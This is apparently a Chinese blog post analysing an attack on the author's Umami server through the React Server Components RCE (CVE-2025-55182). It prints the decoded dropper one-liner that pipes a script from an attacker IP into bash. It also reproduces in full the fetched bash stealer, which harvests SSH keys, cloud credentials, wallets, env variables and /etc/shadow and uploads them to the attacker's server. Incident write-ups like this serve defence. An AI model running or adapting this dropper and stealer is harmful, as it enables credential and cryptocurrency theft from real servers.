安全漏洞核弹|又一个CVSS10.0满分的安全漏洞爆发|我的服务被攻击了,拆解攻击过程

351 阅读9分钟

我收到阿里云ECS存在安全风险提示,是 umami 被攻击执行了异常内容。而这个漏洞却是因为上游 Nextjs 以及更上游的 React 存在漏洞导致的,CVSS评分10.0满分,这是一个可以比拟当年 Log4j 的安全核弹,影响涉及next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk,等下游项目。

  • 漏洞说明
  • 核心攻击目标
  • 对我的影响
  • 攻击过程分析
  • 攻击脚本内容

漏洞说明

Umami 存在安全漏洞被被攻击的原因是 Umami 服务使用了 Nextjs 框架存在漏洞 CVE-2025-66478,该漏洞 CVSS10.0 满分。

Nextjs 的安全漏洞是因为 Nextjs 框架的使用 React Server Components (RSC) 协议存在漏洞 CVE-2025-55182,该漏洞 CVSS10.0 满分。

React 在2025/12/3发布了漏洞说明

11月29日,Lachlan Davidson报告了React中的一个安全漏洞,该漏洞允许通过利用React解码发送到React服务器功能端点的有效负载的缺陷来执行未经身份验证的远程代码。

即使您的应用没有实现任何React Server函数端点,如果您的应用支持React Server组件,它仍然可能容易受到攻击。

此漏洞被披露为CVE-2025-55182评级为CVSS 10.0

影响范围

该漏洞存在于以下版本的19.0、19.1.0、19.1.1和19.2.0中:

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

受影响的框架和相关程序

具有对等依赖关系,或包含易受攻击的React包。以下React框架和关联程序受到影响 next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk.

漏洞概述

React服务器功能允许客户端调用服务器上的函数。React提供了框架和捆绑程序用来帮助React代码在客户端和服务器上运行的集成点和工具。React将客户端上的请求转换为转发到服务器的HTTP请求。在服务器上,React将HTTP请求转换为函数调用,并将所需的数据返回给客户端。

未经身份验证的攻击者可以向任何服务器函数端点发出恶意HTTP请求,当React反序列化时,该端点会在服务器上实现远程代码执行。修复完成后,将提供该漏洞的更多详细信息。

我认为这次漏洞可以称之为又一次的安全漏洞核弹,主要是因为React的这些存在漏洞在软件是很多流行开源项目的基础依赖,影响涉及nextjs,react,vite等。

并且,就 CVSS 10.0 的评分,当年的 Log4j 漏洞就是典型参考:

  • Log4Shell (CVE-2021-44228):Apache Log4j 库中的远程代码执行漏洞,影响范围极广,利用简单,危害巨大。

核心攻击目标

主要攻击的目标是:

  • 加密货币钱包:针对Solana、比特币钱包。用于窃取加密货币钱包。
  • 云服务凭证:AWS、阿里云、腾讯云等。利用云凭证创建资源进行挖矿或发起攻击。
  • SSH密钥:可用于后续服务器入侵。
  • 配置文件:各类服务的敏感配置。获取数据库连接字符串、API密钥等。
  • 系统敏感信息:可用于提权攻击。
  • 数据泄露:获取数据库连接字符串、API密钥等。
  • 持久化访问:建立后门,长期控制服务器。

该脚本的动作目标会导致服务器上核心敏感数据泄露,并可进一步攻击服务器所在整个机房或公司的其他的服务器,危害巨大。

对我的影响

已经检测到被攻击的是 Umami 服务,目前 Umami 官方也在第一时间紧急发布了漏洞修复版本 v3.0.2v2.20.1

我已经通过升级到 v3.0.2 解决该安全漏洞。

幸运的是本次攻击对我的影响很小,主要是因为我使用的 Docker 容器镜像,文件系统与ECS机器隔离,所以一些云平台的配置和SSH证书之类的无法获取。

根据这个攻击的逻辑的分析,我容器的ENV环境变量信息被盗取了,里面有敏感的 PostgreSQL 的账号和密码信息。由于我使用的是私有网地址,所以无法直接访问,因此影响很小。

但是密码泄露让我不安,所以接下来要更换密码,我的PostgreSQL是多个项目公用的所以更换密码会需要一些时间。

如果你也使用 Umami,并且是基于容器运行的,我们这里有官方修复后镜像可以 docker pull 下载,

  • harbor.cncfstack.com/docker.io/umamisoftware/umami:3.0.2
  • harbor.cncfstack.com/docker.io/umamisoftware/umami:mysql-v2.20.1
  • harbor.cncfstack.com/docker.io/umamisoftware/umami:postgres-v2.20.1

需要注意的是 umami:3.0.2 支持ARM64和AMD64,而 umami:mysql-v2.20.1umami:postgres-v2.20.1 只支持AMD64。

攻击过程分析

系统异常进程

我收到了异常监控的告警,运行在阿里云的ECS服务器存在一个异常进程启动,我看告警中的进程树如图:

告警漏洞

图中核心最后一个是 /bin/sh 指令,执行一个 echo 命令进行进一步的 bash 执行。这个echo的字符串经过 base64 -d 解密后的结果是个 shell 脚本

(command -v curl >/dev/null 2>&1 && curl -s http://47.77.204.248/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- http://47.77.204.248/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())")

该命令会依次尝试使用 curl、wget、python3 或 python 从 http://47.77.204.248/index 下载一个脚本,并通过 bash 执行该下载的脚本。

这里做了多种类型的下载工具判断,主要目的是为了更好的兼容性,使在更多的设备上可以获取到该shell脚本。

攻击脚本内容分析

http://47.77.204.248/index 获取的脚本是一个恶意信息收集脚本,在文章最后附完整脚本内容:

其功能是窃取服务器上的敏感数据并发送到远程攻击者服务器。以下是详细分析:

主要功能分析:

1. 敏感文件窃取。脚本会收集以下类型的敏感文件

  • 配置文件:.env、.git/config、Docker配置等
  • 密钥文件:Solana钱包(.config/solana/id.json)、比特币钱包(.bitcoin/wallet.dat)
  • 云服务凭证:AWS、阿里云、腾讯云、Google Cloud、Kubernetes配置
  • SSH密钥:.ssh目录下所有文件
  • 系统敏感文件:/etc/passwd、/etc/shadow

2. 按模式搜索敏感文件。在用户目录中搜索包含特定关键词的文件

  • _history:Bash历史文件等
  • credential、password:凭证文件
  • private、key、.pem:私钥文件
  • config、wallet:配置文件和钱包文件

3. 系统信息收集

  • 主机名和操作系统信息
  • 环境变量
  • 网络配置和IP地址
  • 进程列表(ps aux)
  • 网络连接信息(netstat -anpt)

4. 数据回传机制。脚本将收集的所有信息保存到本地文件({主机名}_{时间戳}.txt),然后通过多种方式上传到攻击者服务器

  • 尝试使用 curl 上传
  • 如果失败,尝试 wget
  • 再失败则使用 python3
  • 最后使用 python2

上传地址为:http://47.77.204.248/upload

5. 隐蔽操作

  • 上传成功后删除本地生成的报告文件
  • 使用多种上传方法确保成功率
  • 文件大小限制为1MB以下,避免大文件引起注意

IP地址分析

对于 http://47.77.204.248 中 IP 地址的分析,可以查看其归属是 阿里云在美国的数据中心

我已经通过阿里云工单进行反馈。

攻击脚本内容

http://47.77.204.248/index 的脚本内容

#!/bin/bash

# Monitor script configuration

SERVER_URL="http://47.77.204.248/upload"
HOSTNAME=$(hostname)
TIMESTAMP=$(date '+%Y%m%d_%H%M%S')
OUTPUT_FILE="${HOSTNAME}_${TIMESTAMP}.txt"

# File names to monitor
FILE_NAMES=(
    ".env"
    ".docker/config.json"
    ".git/config"
    ".config/solana/id.json"
    ".bitcoin/wallet.dat"
    ".arbitrum/mainnet/config.yaml"
    ".electrum/config"
)

# Filename patterns to search in user directories (files containing these strings)
MONITOR_PATTERNS=(
    "_history"
    "credential"
    "password"
    "config"
    "private"
    "key"
    ".pem"
    "wallet"
)
# Directory names to monitor in user home directories
MONITOR_DIRS=(
    ".ssh"
    ".aws"
    ".aliyun"
    ".hcloud"
    ".tccli"
    ".config/gcloud"
    ".kube"
)

# Generate file list from /root and /home/*/
MONITORED_FILES=()
REPORT_DIRS=()
USER_DIRS=()

# Add /root as a user directory
USER_DIRS+=("/root")

# Add files from /root
for fname in "${FILE_NAMES[@]}"; do
    MONITORED_FILES+=("/root/$fname")
done
MONITORED_FILES+=("/etc/passwd")
MONITORED_FILES+=("/etc/shadow")

# Add monitor directories from /root if they exist
for dir_name in "${MONITOR_DIRS[@]}"; do
    if [ -d "/root/$dir_name" ]; then
        REPORT_DIRS+=("/root/$dir_name")
    fi
done

# Add files from all users in /home
if [ -d "/home" ]; then
    for user_dir in /home/*; do
        if [ -d "$user_dir" ]; then
            USER_DIRS+=("$user_dir")
            for fname in "${FILE_NAMES[@]}"; do
                MONITORED_FILES+=("$user_dir/$fname")
            done
            # Add monitor directories if they exist
            for dir_name in "${MONITOR_DIRS[@]}"; do
                if [ -d "$user_dir/$dir_name" ]; then
                    REPORT_DIRS+=("$user_dir/$dir_name")
                fi
            done
        fi
    done
fi

# Start report
echo "========================================" > "$OUTPUT_FILE"
echo "Monitor Report - $HOSTNAME" >> "$OUTPUT_FILE"
echo "Time: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT_FILE"
echo "========================================" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"

# System information
echo "" >> "$OUTPUT_FILE"
echo "===== Basic System Information =====" >> "$OUTPUT_FILE"
echo "Hostname: $HOSTNAME" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "Operating System:" >> "$OUTPUT_FILE"
if [ -f /etc/os-release ]; then
    cat /etc/os-release >> "$OUTPUT_FILE" 2>&1
elif [ -f /etc/redhat-release ]; then
    cat /etc/redhat-release >> "$OUTPUT_FILE" 2>&1
elif [ -f /etc/debian_version ]; then
    echo "Debian $(cat /etc/debian_version)" >> "$OUTPUT_FILE" 2>&1
else
    uname -a >> "$OUTPUT_FILE" 2>&1
fi
echo "" >> "$OUTPUT_FILE"
echo "Kernel Version:" >> "$OUTPUT_FILE"
uname -r >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
echo "Environment:" >> "$OUTPUT_FILE"
env >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"
echo "Network Interfaces and IP Addresses:" >> "$OUTPUT_FILE"
if command -v ip >/dev/null 2>&1; then
    ip addr show >> "$OUTPUT_FILE" 2>&1
elif command -v ifconfig >/dev/null 2>&1; then
    ifconfig -a >> "$OUTPUT_FILE" 2>&1
else
    echo "No ip or ifconfig command available" >> "$OUTPUT_FILE"
fi
echo "" >> "$OUTPUT_FILE"

# List user home directories
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== User Home Directories (ls -al) =====" >> "$OUTPUT_FILE"
for user_dir in "${USER_DIRS[@]}"; do

    if [ -d "$user_dir" ]; then
        echo "" >> "$OUTPUT_FILE"
        echo "--- Directory: $user_dir ---" >> "$OUTPUT_FILE"
        ls -al "$user_dir" >> "$OUTPUT_FILE" 2>&1

    fi
    echo "" >> "$OUTPUT_FILE"
done

# Read history files and monitor_log files from user directories
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== History and Monitor Log Files =====" >> "$OUTPUT_FILE"

for user_dir in "${USER_DIRS[@]}"; do
    if [ -d "$user_dir" ]; then
        echo "" >> "$OUTPUT_FILE"
        echo "--- Scanning directory: $user_dir ---" >> "$OUTPUT_FILE"
        
        # Enable dotglob to match hidden files
        shopt -s dotglob nullglob
        

        
        # Find files containing patterns from MONITOR_PATTERNS
        for pattern in "${MONITOR_PATTERNS[@]}"; do
            for file in "$user_dir"/*"$pattern"*; do
                if [ -f "$file" ]; then
                    # Check file size (less than 1MB = 1048576 bytes)
                    file_size=$(stat -c%s "$file" 2>/dev/null || stat -f%z "$file" 2>/dev/null)
                    if [ "$file_size" -lt 1048576 ]; then
                        echo "" >> "$OUTPUT_FILE"
                        echo ">>> File: $file (Size: $file_size bytes) <<<" >> "$OUTPUT_FILE"
                        echo "" >> "$OUTPUT_FILE"
                        cat "$file" >> "$OUTPUT_FILE" 2>&1
                        echo "" >> "$OUTPUT_FILE"
                        echo ">>> End of file: $(basename "$file") <<<" >> "$OUTPUT_FILE"
                    else
                        echo "" >> "$OUTPUT_FILE"
                        echo ">>> File: $file (Size: $file_size bytes - SKIPPED, larger than 1MB) <<<" >> "$OUTPUT_FILE"
                    fi
                fi
            done
        done
        
        # Disable dotglob
        shopt -u dotglob nullglob
    fi
    echo "" >> "$OUTPUT_FILE"
done

# Read monitored files
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== File Contents =====" >> "$OUTPUT_FILE"
for file in "${MONITORED_FILES[@]}"; do
    
    
    if [ -f "$file" ]; then
        echo "" >> "$OUTPUT_FILE"
        echo "--- File: $file ---" >> "$OUTPUT_FILE"
        cat "$file" >> "$OUTPUT_FILE" 2>&1

        
    fi
    echo "" >> "$OUTPUT_FILE"
done

# Read .report directories
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== Monitor Directory Contents =====" >> "$OUTPUT_FILE"
for report_dir in "${REPORT_DIRS[@]}"; do

    if [ -d "$report_dir" ]; then
        # List files in the directory
        echo "" >> "$OUTPUT_FILE"
        echo "--- Directory: $report_dir ---" >> "$OUTPUT_FILE"
        echo "Files in directory:" >> "$OUTPUT_FILE"
        ls -lh "$report_dir" >> "$OUTPUT_FILE" 2>&1
        echo "" >> "$OUTPUT_FILE"
        
        # Read each file in the directory
        for report_file in "$report_dir"/*; do
            if [ -f "$report_file" ]; then
                echo "" >> "$OUTPUT_FILE"
                echo ">>> File: $(basename "$report_file") <<<" >> "$OUTPUT_FILE"
                echo "" >> "$OUTPUT_FILE"
                cat "$report_file" >> "$OUTPUT_FILE" 2>&1
                echo "" >> "$OUTPUT_FILE"
                echo ">>> End of file: $(basename "$report_file") <<<" >> "$OUTPUT_FILE"
            fi
        done

    fi
    echo "" >> "$OUTPUT_FILE"
done

# Execute ps aux command
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== Process List (ps aux) =====" >> "$OUTPUT_FILE"
ps aux >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"

# Execute netstat -anpt command
echo "" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "===== Network Connections (netstat -anpt) =====" >> "$OUTPUT_FILE"
netstat -anpt >> "$OUTPUT_FILE" 2>&1
echo "" >> "$OUTPUT_FILE"

# Function to upload with curl
upload_with_curl() {
    curl -X POST \
        -F "file=@${OUTPUT_FILE}" \
        -F "hostname=${HOSTNAME}" \
        -F "timestamp=${TIMESTAMP}" \
        --connect-timeout 10 \
        --max-time 60 \
        "${SERVER_URL}"
    return $?
}

# Function to upload with wget
upload_with_wget() {
    wget --post-file="${OUTPUT_FILE}" \
        --timeout=60 \
        --tries=1 \
        -O - \
        "${SERVER_URL}?hostname=${HOSTNAME}&timestamp=${TIMESTAMP}"
    return $?
}

# Function to upload with python3
upload_with_python3() {
    python3 << EOF
import sys
try:
    import urllib.request
    import urllib.parse
    
    with open('${OUTPUT_FILE}', 'rb') as f:
        data = f.read()
    
    boundary = '----WebKitFormBoundary' + ''.join([chr(i) for i in range(97, 123)])
    body = (
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="file"; filename="$(basename ${OUTPUT_FILE})"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\n'
    ).encode() + data + (
        '\r\n--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="hostname"\r\n\r\n' +
        '${HOSTNAME}\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="timestamp"\r\n\r\n' +
        '${TIMESTAMP}\r\n' +
        '--' + boundary + '--\r\n'
    ).encode()
    
    req = urllib.request.Request('${SERVER_URL}', data=body)
    req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary)
    
    response = urllib.request.urlopen(req, timeout=60)
    print(response.read().decode())
    sys.exit(0)
except Exception as e:
    print(f"Error: {e}", file=sys.stderr)
    sys.exit(1)
EOF
    return $?
}

# Function to upload with python (python2)
upload_with_python() {
    python << EOF
import sys
try:
    import urllib2
    import os
    
    with open('${OUTPUT_FILE}', 'rb') as f:
        data = f.read()
    
    boundary = '----WebKitFormBoundary' + 'abcdefghijklmnop'
    body = (
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="file"; filename="' + os.path.basename('${OUTPUT_FILE}') + '"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\n'
    ) + data + (
        '\r\n--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="hostname"\r\n\r\n' +
        '${HOSTNAME}\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="timestamp"\r\n\r\n' +
        '${TIMESTAMP}\r\n' +
        '--' + boundary + '--\r\n'
    )
    
    req = urllib2.Request('${SERVER_URL}', data=body)
    req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary)
    
    response = urllib2.urlopen(req, timeout=60)
    print response.read()
    sys.exit(0)
except Exception as e:
    print >> sys.stderr, "Error:", str(e)
    sys.exit(1)
EOF
    return $?
}

# Try uploading with available tools
UPLOAD_SUCCESS=0

if command -v curl >/dev/null 2>&1; then
    if upload_with_curl; then
        UPLOAD_SUCCESS=1
    fi
fi

if [ $UPLOAD_SUCCESS -eq 0 ] && command -v wget >/dev/null 2>&1; then
    if upload_with_wget; then
        UPLOAD_SUCCESS=1
    fi
fi

if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python3 >/dev/null 2>&1; then
    if upload_with_python3; then
        UPLOAD_SUCCESS=1
    fi
fi

if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python >/dev/null 2>&1; then
    if upload_with_python; then
        UPLOAD_SUCCESS=1
    fi
fi

if [ $UPLOAD_SUCCESS -eq 1 ]; then
    rm -f "$OUTPUT_FILE"
    exit 0
else
    exit 1
fi